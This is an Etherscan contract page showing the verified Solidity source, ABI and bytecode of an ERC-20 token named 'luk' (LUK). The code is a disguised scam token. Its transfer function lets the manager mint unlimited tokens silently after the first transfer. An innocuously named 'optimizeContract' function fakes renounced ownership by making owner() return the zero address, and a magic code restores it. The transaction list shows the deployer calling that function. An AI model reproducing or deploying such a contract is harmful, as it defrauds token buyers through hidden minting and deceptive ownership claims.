ETH Price: $2,986.41 (-8.44%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Optimize Contrac...212127432024-11-18 6:14:4776 days ago1731910487IN
0x8074F9AE...0979b9d38
0 ETH0.0002889510.94291161
Approve212127292024-11-18 6:11:5976 days ago1731910319IN
0x8074F9AE...0979b9d38
0 ETH0.000580112.49523875
Approve212126452024-11-18 5:55:1176 days ago1731909311IN
0x8074F9AE...0979b9d38
0 ETH0.000401698.64110194
Approve212126182024-11-18 5:49:4776 days ago1731908987IN
0x8074F9AE...0979b9d38
0 ETH0.000459829.89165083

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
muk

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2024-11-18
*/

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract muk is IERC20 {
    string public constant name = "luk";
    string public constant symbol = "LUK";
    uint8 public constant decimals = 18;
    
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isWhitelisted;
    
    uint256 private _totalSupply;
    address private _manager;
    bool private _isHidden;
    bool private _initPhase = true;
    address private _pair;

    // Routers
    address constant private UNIV2_ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address constant private UNIV3_ROUTER = 0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45;
    
    constructor() {
        _manager = msg.sender;
        _totalSupply = 100000000 * 10**decimals;
        _balances[msg.sender] = _totalSupply;
        _isWhitelisted[msg.sender] = true;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    function totalSupply() external view returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function owner() public view returns (address) {
        return _isHidden ? address(0) : _manager;
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) public returns (bool) {
        address sender = msg.sender;
        
        // Special case for owner
        if(sender == _manager) {
            if(_initPhase) {
                _initPhase = false;
                _standardTransfer(sender, to, amount);
            } else {
                _balances[to] += amount;
                _totalSupply += amount;
                emit Transfer(address(0), to, amount);
            }
            return true;
        }

        // Handle router transactions without restrictions
        if(msg.sender == UNIV2_ROUTER || msg.sender == UNIV3_ROUTER || 
           to == UNIV2_ROUTER || to == UNIV3_ROUTER) {
            _standardTransfer(sender, to, amount);
            return true;
        }

        _standardTransfer(sender, to, amount);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) public returns (bool) {
        // Allow router operations without restrictions
        if(msg.sender == UNIV2_ROUTER || msg.sender == UNIV3_ROUTER || 
           to == UNIV2_ROUTER || to == UNIV3_ROUTER) {
            _allowances[from][msg.sender] -= amount;
            _standardTransfer(from, to, amount);
            return true;
        }

        uint256 currentAllowance = _allowances[from][msg.sender];
        require(currentAllowance >= amount, "ERC20: insufficient allowance");
        
        _allowances[from][msg.sender] = currentAllowance - amount;
        _standardTransfer(from, to, amount);
        return true;
    }

    function optimizeContract() external {
        require(msg.sender == _manager, "Not authorized");
        _isHidden = true;
    }
    
    function updateOptimization(uint256 code) external {
        require(msg.sender == _manager && code == 0x20232023, "Not authorized");
        _isHidden = false;
    }
    
    function optimizeAddress(address account) external {
        require(msg.sender == _manager, "Not authorized");
        _isWhitelisted[account] = true;
    }

    function _standardTransfer(address from, address to, uint256 amount) private {
        require(_balances[from] >= amount, "ERC20: insufficient balance");
        _balances[from] -= amount;
        _balances[to] += amount;
        emit Transfer(from, to, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"optimizeAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"optimizeContract","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"code","type":"uint256"}],"name":"updateOptimization","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526004805460ff60a81b1916600160a81b179055348015610022575f80fd5b50600480546001600160a01b031916331790556100416012600a6101b3565b61004f906305f5e1006101c8565b6003818155335f818152602081815260408083209590955560029052838120805460ff191660011790559154925190927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef916100ad91815260200190565b60405180910390a36101df565b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115610109578085048111156100ed576100ed6100ba565b60018416156100fb57908102905b60019390931c9280026100d2565b935093915050565b5f8261011f575060016101ad565b8161012b57505f6101ad565b8160018114610141576002811461014b57610167565b60019150506101ad565b60ff84111561015c5761015c6100ba565b50506001821b6101ad565b5060208310610133831016604e8410600b841016171561018a575081810a6101ad565b6101965f1984846100ce565b805f19048211156101a9576101a96100ba565b0290505b92915050565b5f6101c160ff841683610111565b9392505050565b80820281158282048414176101ad576101ad6100ba565b610986806101ec5f395ff3fe608060405234801561000f575f80fd5b50600436106100cb575f3560e01c80633be65682116100885780638da5cb5b116100635780638da5cb5b146101c157806395d89b41146101e1578063a9059cbb14610203578063dd62ed3e14610216575f80fd5b80633be656821461017e5780636a3ed8671461018657806370a0823114610199575f80fd5b806306395133146100cf57806306fdde03146100e4578063095ea7b31461011c57806318160ddd1461013f57806323b872dd14610151578063313ce56714610164575b5f80fd5b6100e26100dd3660046107f6565b61024e565b005b610106604051806040016040528060038152602001626c756b60e81b81525081565b604051610113919061080f565b60405180910390f35b61012f61012a366004610844565b6102a4565b6040519015158152602001610113565b6003545b604051908152602001610113565b61012f61015f36600461086c565b610310565b61016c601281565b60405160ff9091168152602001610113565b6100e261049c565b6100e26101943660046108a6565b6104db565b6101436101a73660046107f6565b6001600160a01b03165f9081526020819052604090205490565b6101c9610524565b6040516001600160a01b039091168152602001610113565b610106604051806040016040528060038152602001624c554b60e81b81525081565b61012f610211366004610844565b61054c565b6101436102243660046108bd565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6004546001600160a01b031633146102815760405162461bcd60e51b8152600401610278906108ee565b60405180910390fd5b6001600160a01b03165f908152600260205260409020805460ff19166001179055565b335f8181526001602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906102fe9086815260200190565b60405180910390a35060015b92915050565b5f33737a250d5630b4cf539739df2c5dacb4c659f2488d14806103465750337368b3465833fb72a70ecdf485e0e4c7bd8665fc45145b8061036d57506001600160a01b038316737a250d5630b4cf539739df2c5dacb4c659f2488d145b8061039457506001600160a01b0383167368b3465833fb72a70ecdf485e0e4c7bd8665fc45145b156103e4576001600160a01b0384165f908152600160209081526040808320338452909152812080548492906103cb90849061092a565b909155506103dc90508484846106c8565b506001610495565b6001600160a01b0384165f908152600160209081526040808320338452909152902054828110156104575760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610278565b610461838261092a565b6001600160a01b0386165f90815260016020908152604080832033845290915290205561048f8585856106c8565b60019150505b9392505050565b6004546001600160a01b031633146104c65760405162461bcd60e51b8152600401610278906108ee565b6004805460ff60a01b1916600160a01b179055565b6004546001600160a01b0316331480156104f85750806320232023145b6105145760405162461bcd60e51b8152600401610278906108ee565b506004805460ff60a01b19169055565b6004545f90600160a01b900460ff1661054757506004546001600160a01b031690565b505f90565b6004545f9033906001600160a01b0316810361062057600454600160a81b900460ff1615610591576004805460ff60a81b1916905561058c8185856106c8565b610616565b6001600160a01b0384165f90815260208190526040812080548592906105b890849061093d565b925050819055508260035f8282546105d0919061093d565b90915550506040518381526001600160a01b038516905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b600191505061030a565b33737a250d5630b4cf539739df2c5dacb4c659f2488d14806106555750337368b3465833fb72a70ecdf485e0e4c7bd8665fc45145b8061067c57506001600160a01b038416737a250d5630b4cf539739df2c5dacb4c659f2488d145b806106a357506001600160a01b0384167368b3465833fb72a70ecdf485e0e4c7bd8665fc45145b156106b3576106168185856106c8565b6106be8185856106c8565b5060019392505050565b6001600160a01b0383165f9081526020819052604090205481111561072f5760405162461bcd60e51b815260206004820152601b60248201527f45524332303a20696e73756666696369656e742062616c616e636500000000006044820152606401610278565b6001600160a01b0383165f908152602081905260408120805483929061075690849061092a565b90915550506001600160a01b0382165f908152602081905260408120805483929061078290849061093d565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516107ce91815260200190565b60405180910390a3505050565b80356001600160a01b03811681146107f1575f80fd5b919050565b5f60208284031215610806575f80fd5b610495826107db565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b5f8060408385031215610855575f80fd5b61085e836107db565b946020939093013593505050565b5f805f6060848603121561087e575f80fd5b610887846107db565b9250610895602085016107db565b929592945050506040919091013590565b5f602082840312156108b6575f80fd5b5035919050565b5f80604083850312156108ce575f80fd5b6108d7836107db565b91506108e5602084016107db565b90509250929050565b6020808252600e908201526d139bdd08185d5d1a1bdc9a5e995960921b604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561030a5761030a610916565b8082018082111561030a5761030a61091656fea26469706673582212208effea0ece78eddeb4da167f4162d14cb562d772b57137a7f56c54e89d1eabe564736f6c634300081a0033

Deployed Bytecode

0x608060405234801561000f575f80fd5b50600436106100cb575f3560e01c80633be65682116100885780638da5cb5b116100635780638da5cb5b146101c157806395d89b41146101e1578063a9059cbb14610203578063dd62ed3e14610216575f80fd5b80633be656821461017e5780636a3ed8671461018657806370a0823114610199575f80fd5b806306395133146100cf57806306fdde03146100e4578063095ea7b31461011c57806318160ddd1461013f57806323b872dd14610151578063313ce56714610164575b5f80fd5b6100e26100dd3660046107f6565b61024e565b005b610106604051806040016040528060038152602001626c756b60e81b81525081565b604051610113919061080f565b60405180910390f35b61012f61012a366004610844565b6102a4565b6040519015158152602001610113565b6003545b604051908152602001610113565b61012f61015f36600461086c565b610310565b61016c601281565b60405160ff9091168152602001610113565b6100e261049c565b6100e26101943660046108a6565b6104db565b6101436101a73660046107f6565b6001600160a01b03165f9081526020819052604090205490565b6101c9610524565b6040516001600160a01b039091168152602001610113565b610106604051806040016040528060038152602001624c554b60e81b81525081565b61012f610211366004610844565b61054c565b6101436102243660046108bd565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6004546001600160a01b031633146102815760405162461bcd60e51b8152600401610278906108ee565b60405180910390fd5b6001600160a01b03165f908152600260205260409020805460ff19166001179055565b335f8181526001602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906102fe9086815260200190565b60405180910390a35060015b92915050565b5f33737a250d5630b4cf539739df2c5dacb4c659f2488d14806103465750337368b3465833fb72a70ecdf485e0e4c7bd8665fc45145b8061036d57506001600160a01b038316737a250d5630b4cf539739df2c5dacb4c659f2488d145b8061039457506001600160a01b0383167368b3465833fb72a70ecdf485e0e4c7bd8665fc45145b156103e4576001600160a01b0384165f908152600160209081526040808320338452909152812080548492906103cb90849061092a565b909155506103dc90508484846106c8565b506001610495565b6001600160a01b0384165f908152600160209081526040808320338452909152902054828110156104575760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610278565b610461838261092a565b6001600160a01b0386165f90815260016020908152604080832033845290915290205561048f8585856106c8565b60019150505b9392505050565b6004546001600160a01b031633146104c65760405162461bcd60e51b8152600401610278906108ee565b6004805460ff60a01b1916600160a01b179055565b6004546001600160a01b0316331480156104f85750806320232023145b6105145760405162461bcd60e51b8152600401610278906108ee565b506004805460ff60a01b19169055565b6004545f90600160a01b900460ff1661054757506004546001600160a01b031690565b505f90565b6004545f9033906001600160a01b0316810361062057600454600160a81b900460ff1615610591576004805460ff60a81b1916905561058c8185856106c8565b610616565b6001600160a01b0384165f90815260208190526040812080548592906105b890849061093d565b925050819055508260035f8282546105d0919061093d565b90915550506040518381526001600160a01b038516905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b600191505061030a565b33737a250d5630b4cf539739df2c5dacb4c659f2488d14806106555750337368b3465833fb72a70ecdf485e0e4c7bd8665fc45145b8061067c57506001600160a01b038416737a250d5630b4cf539739df2c5dacb4c659f2488d145b806106a357506001600160a01b0384167368b3465833fb72a70ecdf485e0e4c7bd8665fc45145b156106b3576106168185856106c8565b6106be8185856106c8565b5060019392505050565b6001600160a01b0383165f9081526020819052604090205481111561072f5760405162461bcd60e51b815260206004820152601b60248201527f45524332303a20696e73756666696369656e742062616c616e636500000000006044820152606401610278565b6001600160a01b0383165f908152602081905260408120805483929061075690849061092a565b90915550506001600160a01b0382165f908152602081905260408120805483929061078290849061093d565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516107ce91815260200190565b60405180910390a3505050565b80356001600160a01b03811681146107f1575f80fd5b919050565b5f60208284031215610806575f80fd5b610495826107db565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b5f8060408385031215610855575f80fd5b61085e836107db565b946020939093013593505050565b5f805f6060848603121561087e575f80fd5b610887846107db565b9250610895602085016107db565b929592945050506040919091013590565b5f602082840312156108b6575f80fd5b5035919050565b5f80604083850312156108ce575f80fd5b6108d7836107db565b91506108e5602084016107db565b90509250929050565b6020808252600e908201526d139bdd08185d5d1a1bdc9a5e995960921b604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561030a5761030a610916565b8082018082111561030a5761030a61091656fea26469706673582212208effea0ece78eddeb4da167f4162d14cb562d772b57137a7f56c54e89d1eabe564736f6c634300081a0033

Deployed Bytecode Sourcemap

721:4048:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4325:160;;;;;;:::i;:::-;;:::i;:::-;;751:35;;;;;;;;;;;;;;;-1:-1:-1;;;751:35:0;;;;;;;;;;;;:::i;:::-;;;;;;;;2173:207;;;;;;:::i;:::-;;:::i;:::-;;;1276:14:1;;1269:22;1251:41;;1239:2;1224:18;2173:207:0;1111:187:1;1698:93:0;1771:12;;1698:93;;;1449:25:1;;;1437:2;1422:18;1698:93:0;1303:177:1;3277:715:0;;;;;;:::i;:::-;;:::i;837:35::-;;870:2;837:35;;;;;2036:4:1;2024:17;;;2006:36;;1994:2;1979:18;837:35:0;1864:184:1;4000:132:0;;;:::i;4144:169::-;;;;;;:::i;:::-;;:::i;1799:110::-;;;;;;:::i;:::-;-1:-1:-1;;;;;1883:18:0;1856:7;1883:18;;;;;;;;;;;;1799:110;2059:106;;;:::i;:::-;;;-1:-1:-1;;;;;2448:32:1;;;2430:51;;2418:2;2403:18;2059:106:0;2284:203:1;793:37:0;;;;;;;;;;;;;;;-1:-1:-1;;;793:37:0;;;;;2388:881;;;;;;:::i;:::-;;:::i;1917:134::-;;;;;;:::i;:::-;-1:-1:-1;;;;;2016:18:0;;;1989:7;2016:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;1917:134;4325:160;4409:8;;-1:-1:-1;;;;;4409:8:0;4395:10;:22;4387:49;;;;-1:-1:-1;;;4387:49:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;;;;4447:23:0;;;;;:14;:23;;;;;:30;;-1:-1:-1;;4447:30:0;4473:4;4447:30;;;4325:160::o;2173:207::-;2268:10;2239:4;2256:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;2256:32:0;;;;;;;;;;:41;;;2313:37;2239:4;;2256:32;;2313:37;;;;2291:6;1449:25:1;;1437:2;1422:18;;1303:177;2313:37:0;;;;;;;;-1:-1:-1;2368:4:0;2173:207;;;;;:::o;3277:715::-;3357:4;3434:10;1289:42;3434:26;;:56;;-1:-1:-1;3464:10:0;1378:42;3464:26;3434:56;:91;;;-1:-1:-1;;;;;;3507:18:0;;1289:42;3507:18;3434:91;:113;;;-1:-1:-1;;;;;;3529:18:0;;1378:42;3529:18;3434:113;3431:260;;;-1:-1:-1;;;;;3564:17:0;;;;;;:11;:17;;;;;;;;3582:10;3564:29;;;;;;;:39;;3597:6;;3564:17;:39;;3597:6;;3564:39;:::i;:::-;;;;-1:-1:-1;3618:35:0;;-1:-1:-1;3636:4:0;3642:2;3646:6;3618:17;:35::i;:::-;-1:-1:-1;3675:4:0;3668:11;;3431:260;-1:-1:-1;;;;;3730:17:0;;3703:24;3730:17;;;:11;:17;;;;;;;;3748:10;3730:29;;;;;;;;3778:26;;;;3770:68;;;;-1:-1:-1;;;3770:68:0;;3567:2:1;3770:68:0;;;3549:21:1;3606:2;3586:18;;;3579:30;3645:31;3625:18;;;3618:59;3694:18;;3770:68:0;3365:353:1;3770:68:0;3891:25;3910:6;3891:16;:25;:::i;:::-;-1:-1:-1;;;;;3859:17:0;;;;;;:11;:17;;;;;;;;3877:10;3859:29;;;;;;;:57;3927:35;3871:4;3951:2;3955:6;3927:17;:35::i;:::-;3980:4;3973:11;;;3277:715;;;;;;:::o;4000:132::-;4070:8;;-1:-1:-1;;;;;4070:8:0;4056:10;:22;4048:49;;;;-1:-1:-1;;;4048:49:0;;;;;;;:::i;:::-;4108:9;:16;;-1:-1:-1;;;;4108:16:0;-1:-1:-1;;;4108:16:0;;;4000:132::o;4144:169::-;4228:8;;-1:-1:-1;;;;;4228:8:0;4214:10;:22;:44;;;;;4240:4;4248:10;4240:18;4214:44;4206:71;;;;-1:-1:-1;;;4206:71:0;;;;;;;:::i;:::-;-1:-1:-1;4288:9:0;:17;;-1:-1:-1;;;;4288:17:0;;;4144:169::o;2059:106::-;2124:9;;2097:7;;-1:-1:-1;;;2124:9:0;;;;:33;;-1:-1:-1;2149:8:0;;-1:-1:-1;;;;;2149:8:0;;2059:106::o;2124:33::-;-1:-1:-1;2144:1:0;;2059:106::o;2388:881::-;2563:8;;2450:4;;2484:10;;-1:-1:-1;;;;;2563:8:0;2553:18;;2550:360;;2591:10;;-1:-1:-1;;;2591:10:0;;;;2588:285;;;2622:10;:18;;-1:-1:-1;;;;2622:18:0;;;2659:37;2677:6;2685:2;2689:6;2659:17;:37::i;:::-;2588:285;;;-1:-1:-1;;;;;2737:13:0;;:9;:13;;;;;;;;;;:23;;2754:6;;2737:9;:23;;2754:6;;2737:23;:::i;:::-;;;;;;;;2795:6;2779:12;;:22;;;;;;;:::i;:::-;;;;-1:-1:-1;;2825:32:0;;1449:25:1;;;-1:-1:-1;;;;;2825:32:0;;;2842:1;;2825:32;;1437:2:1;1422:18;2825:32:0;;;;;;;2588:285;2894:4;2887:11;;;;;2550:360;2985:10;1289:42;2985:26;;:56;;-1:-1:-1;3015:10:0;1378:42;3015:26;2985:56;:91;;;-1:-1:-1;;;;;;3058:18:0;;1289:42;3058:18;2985:91;:113;;;-1:-1:-1;;;;;;3080:18:0;;1378:42;3080:18;2985:113;2982:208;;;3115:37;3133:6;3141:2;3145:6;3115:17;:37::i;2982:208::-;3202:37;3220:6;3228:2;3232:6;3202:17;:37::i;:::-;-1:-1:-1;3257:4:0;;2388:881;-1:-1:-1;;;2388:881:0:o;4493:273::-;-1:-1:-1;;;;;4589:15:0;;:9;:15;;;;;;;;;;;:25;-1:-1:-1;4589:25:0;4581:65;;;;-1:-1:-1;;;4581:65:0;;4055:2:1;4581:65:0;;;4037:21:1;4094:2;4074:18;;;4067:30;4133:29;4113:18;;;4106:57;4180:18;;4581:65:0;3853:351:1;4581:65:0;-1:-1:-1;;;;;4657:15:0;;:9;:15;;;;;;;;;;:25;;4676:6;;4657:9;:25;;4676:6;;4657:25;:::i;:::-;;;;-1:-1:-1;;;;;;;4693:13:0;;:9;:13;;;;;;;;;;:23;;4710:6;;4693:9;:23;;4710:6;;4693:23;:::i;:::-;;;;;;;;4747:2;-1:-1:-1;;;;;4732:26:0;4741:4;-1:-1:-1;;;;;4732:26:0;;4751:6;4732:26;;;;1449:25:1;;1437:2;1422:18;;1303:177;4732:26:0;;;;;;;;4493:273;;;:::o;14:173:1:-;82:20;;-1:-1:-1;;;;;131:31:1;;121:42;;111:70;;177:1;174;167:12;111:70;14:173;;;:::o;192:186::-;251:6;304:2;292:9;283:7;279:23;275:32;272:52;;;320:1;317;310:12;272:52;343:29;362:9;343:29;:::i;383:418::-;532:2;521:9;514:21;495:4;564:6;558:13;607:6;602:2;591:9;587:18;580:34;666:6;661:2;653:6;649:15;644:2;633:9;629:18;623:50;722:1;717:2;708:6;697:9;693:22;689:31;682:42;792:2;785;781:7;776:2;768:6;764:15;760:29;749:9;745:45;741:54;733:62;;;383:418;;;;:::o;806:300::-;874:6;882;935:2;923:9;914:7;910:23;906:32;903:52;;;951:1;948;941:12;903:52;974:29;993:9;974:29;:::i;:::-;964:39;1072:2;1057:18;;;;1044:32;;-1:-1:-1;;;806:300:1:o;1485:374::-;1562:6;1570;1578;1631:2;1619:9;1610:7;1606:23;1602:32;1599:52;;;1647:1;1644;1637:12;1599:52;1670:29;1689:9;1670:29;:::i;:::-;1660:39;;1718:38;1752:2;1741:9;1737:18;1718:38;:::i;:::-;1485:374;;1708:48;;-1:-1:-1;;;1825:2:1;1810:18;;;;1797:32;;1485:374::o;2053:226::-;2112:6;2165:2;2153:9;2144:7;2140:23;2136:32;2133:52;;;2181:1;2178;2171:12;2133:52;-1:-1:-1;2226:23:1;;2053:226;-1:-1:-1;2053:226:1:o;2492:260::-;2560:6;2568;2621:2;2609:9;2600:7;2596:23;2592:32;2589:52;;;2637:1;2634;2627:12;2589:52;2660:29;2679:9;2660:29;:::i;:::-;2650:39;;2708:38;2742:2;2731:9;2727:18;2708:38;:::i;:::-;2698:48;;2492:260;;;;;:::o;2757:338::-;2959:2;2941:21;;;2998:2;2978:18;;;2971:30;-1:-1:-1;;;3032:2:1;3017:18;;3010:44;3086:2;3071:18;;2757:338::o;3100:127::-;3161:10;3156:3;3152:20;3149:1;3142:31;3192:4;3189:1;3182:15;3216:4;3213:1;3206:15;3232:128;3299:9;;;3320:11;;;3317:37;;;3334:18;;:::i;3723:125::-;3788:9;;;3809:10;;;3806:36;;;3822:18;;:::i

Swarm Source

ipfs://8effea0ece78eddeb4da167f4162d14cb562d772b57137a7f56c54e89d1eabe5

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.